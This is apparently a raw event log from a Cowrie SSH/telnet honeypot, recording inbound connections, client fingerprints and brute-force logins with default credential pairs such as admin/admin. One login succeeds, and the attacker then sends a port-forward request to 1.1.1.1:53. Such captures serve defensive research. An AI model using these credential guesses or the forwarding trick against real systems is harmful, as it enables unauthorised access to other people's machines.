{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:56.830265Z","src_ip":"209.38.20.25","session":"c4882f226d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123123","message":"login attempt [root/admin@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:57.709781Z","src_ip":"209.38.20.25","session":"c4882f226d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:58.925406Z","src_ip":"209.38.20.25","session":"c4882f226d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41238,"dst_ip":"159.203.135.109","dst_port":23,"session":"adf9cdc0b0d1","protocol":"telnet","message":"New connection: 174.138.46.234:41238 (159.203.135.109:23) [session: adf9cdc0b0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:06.655296Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41542,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa17bb23c64f","protocol":"telnet","message":"New connection: 174.138.46.234:41542 (159.203.135.109:23) [session: fa17bb23c64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:07.686589Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41714,"dst_ip":"159.203.135.109","dst_port":23,"session":"7068c4f0387f","protocol":"telnet","message":"New connection: 174.138.46.234:41714 (159.203.135.109:23) [session: 7068c4f0387f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:08.443946Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41408,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac667e2a6b11","protocol":"telnet","message":"New connection: 174.138.46.234:41408 (159.203.135.109:23) [session: ac667e2a6b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:10.136596Z"}
{"eventid":"cowrie.session.closed","duration":5.930288314819336,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:12.585456Z","src_ip":"174.138.46.234","session":"adf9cdc0b0d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4274,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8b183507789","protocol":"ssh","message":"New connection: 87.251.64.176:4274 (10.17.0.5:22) [session: e8b183507789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:13.322173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:13.326015Z","src_ip":"87.251.64.176","session":"e8b183507789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:13.422090Z","src_ip":"87.251.64.176","session":"e8b183507789","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:13.711566Z","src_ip":"87.251.64.176","session":"e8b183507789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:13.811228Z","session":"e8b183507789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:13.909179Z","src_ip":"87.251.64.176","session":"e8b183507789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:14.141716Z","src_ip":"87.251.64.176","session":"e8b183507789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.23909306526184,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:15.473147Z","src_ip":"174.138.46.234","session":"389e9c88b6b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.85291314125061,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:15.989367Z","src_ip":"174.138.46.234","session":"ac667e2a6b11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.881558656692505,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:16.325386Z","src_ip":"174.138.46.234","session":"7068c4f0387f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":59396,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff76f62f6bd6","protocol":"telnet","message":"New connection: 217.182.190.44:59396 (10.17.0.5:23) [session: ff76f62f6bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:21.205811Z"}
{"eventid":"cowrie.session.closed","duration":42.99729132652283,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:50.683741Z","src_ip":"174.138.46.234","session":"fa17bb23c64f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54222,"dst_ip":"159.203.135.109","dst_port":23,"session":"96f45ca7dc5e","protocol":"telnet","message":"New connection: 174.138.46.234:54222 (159.203.135.109:23) [session: 96f45ca7dc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:52.333658Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54232,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffc02f8f24c6","protocol":"telnet","message":"New connection: 174.138.46.234:54232 (159.203.135.109:23) [session: ffc02f8f24c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:52.350198Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54500,"dst_ip":"159.203.135.109","dst_port":23,"session":"07038006481f","protocol":"telnet","message":"New connection: 174.138.46.234:54500 (159.203.135.109:23) [session: 07038006481f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:53.341352Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54670,"dst_ip":"159.203.135.109","dst_port":23,"session":"91cede9522a4","protocol":"telnet","message":"New connection: 174.138.46.234:54670 (159.203.135.109:23) [session: 91cede9522a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:54.081694Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":55710,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b8c117b231","protocol":"ssh","message":"New connection: 209.38.20.25:55710 (159.203.135.109:22) [session: f1b8c117b231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:54.722460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:54.727715Z","src_ip":"209.38.20.25","session":"f1b8c117b231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:54.939913Z","src_ip":"209.38.20.25","session":"f1b8c117b231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.829030990600586,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:55.034711Z","src_ip":"217.182.190.44","session":"ff76f62f6bd6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nimda","message":"login attempt [admin/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:55.815843Z","src_ip":"209.38.20.25","session":"f1b8c117b231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:57.031181Z","src_ip":"209.38.20.25","session":"f1b8c117b231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.99663519859314,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:58.346713Z","src_ip":"174.138.46.234","session":"ffc02f8f24c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":51194,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2138d042a65","protocol":"ssh","message":"New connection: 59.17.95.129:51194 (10.17.0.5:22) [session: e2138d042a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:59.028539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:59.036985Z","src_ip":"59.17.95.129","session":"e2138d042a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.798114538192749,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:59.139347Z","src_ip":"174.138.46.234","session":"07038006481f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:44:59.235102Z","src_ip":"59.17.95.129","session":"e2138d042a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Huawei12#$","message":"login attempt [user/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:00.053947Z","src_ip":"59.17.95.129","session":"e2138d042a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.047000885009766,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:00.128548Z","src_ip":"174.138.46.234","session":"91cede9522a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":44126,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cddf67fb294","protocol":"telnet","message":"New connection: 217.182.190.44:44126 (10.17.0.5:23) [session: 5cddf67fb294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:00.958532Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:01.263272Z","src_ip":"59.17.95.129","session":"e2138d042a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":15734,"dst_ip":"159.203.135.109","dst_port":22,"session":"35d5451f401d","protocol":"ssh","message":"New connection: 14.248.83.33:15734 (159.203.135.109:22) [session: 35d5451f401d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:18.905501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:18.909820Z","src_ip":"14.248.83.33","session":"35d5451f401d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:19.147471Z","src_ip":"14.248.83.33","session":"35d5451f401d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:20.127493Z","src_ip":"14.248.83.33","session":"35d5451f401d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:21.370730Z","src_ip":"14.248.83.33","session":"35d5451f401d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35490,"dst_ip":"159.203.135.109","dst_port":23,"session":"290f74e4da92","protocol":"telnet","message":"New connection: 174.138.46.234:35490 (159.203.135.109:23) [session: 290f74e4da92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:27.911328Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35904,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ffb06b43788","protocol":"telnet","message":"New connection: 174.138.46.234:35904 (159.203.135.109:23) [session: 0ffb06b43788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:28.373339Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36012,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b3e9d2c385e","protocol":"telnet","message":"New connection: 174.138.46.234:36012 (159.203.135.109:23) [session: 4b3e9d2c385e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:28.722678Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37478,"dst_ip":"159.203.135.109","dst_port":23,"session":"779ade46f8ea","protocol":"telnet","message":"New connection: 174.138.46.234:37478 (159.203.135.109:23) [session: 779ade46f8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:33.502788Z"}
{"eventid":"cowrie.session.closed","duration":5.309858083724976,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:33.682984Z","src_ip":"174.138.46.234","session":"0ffb06b43788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32220196723938,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:35.280597Z","src_ip":"217.182.190.44","session":"5cddf67fb294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.194563627243042,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:35.917161Z","src_ip":"174.138.46.234","session":"4b3e9d2c385e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.34896159172058,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:38.682490Z","src_ip":"174.138.46.234","session":"96f45ca7dc5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.998203992843628,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:39.500875Z","src_ip":"174.138.46.234","session":"779ade46f8ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.225.236.220","src_port":11478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0aba4a40538","protocol":"telnet","message":"New connection: 45.225.236.220:11478 (159.203.135.109:23) [session: b0aba4a40538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:40.712180Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":56334,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ddfe8c30f4d","protocol":"ssh","message":"New connection: 209.38.20.25:56334 (159.203.135.109:22) [session: 0ddfe8c30f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:48.611718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:48.617250Z","src_ip":"209.38.20.25","session":"0ddfe8c30f4d","protocol":"ssh"}
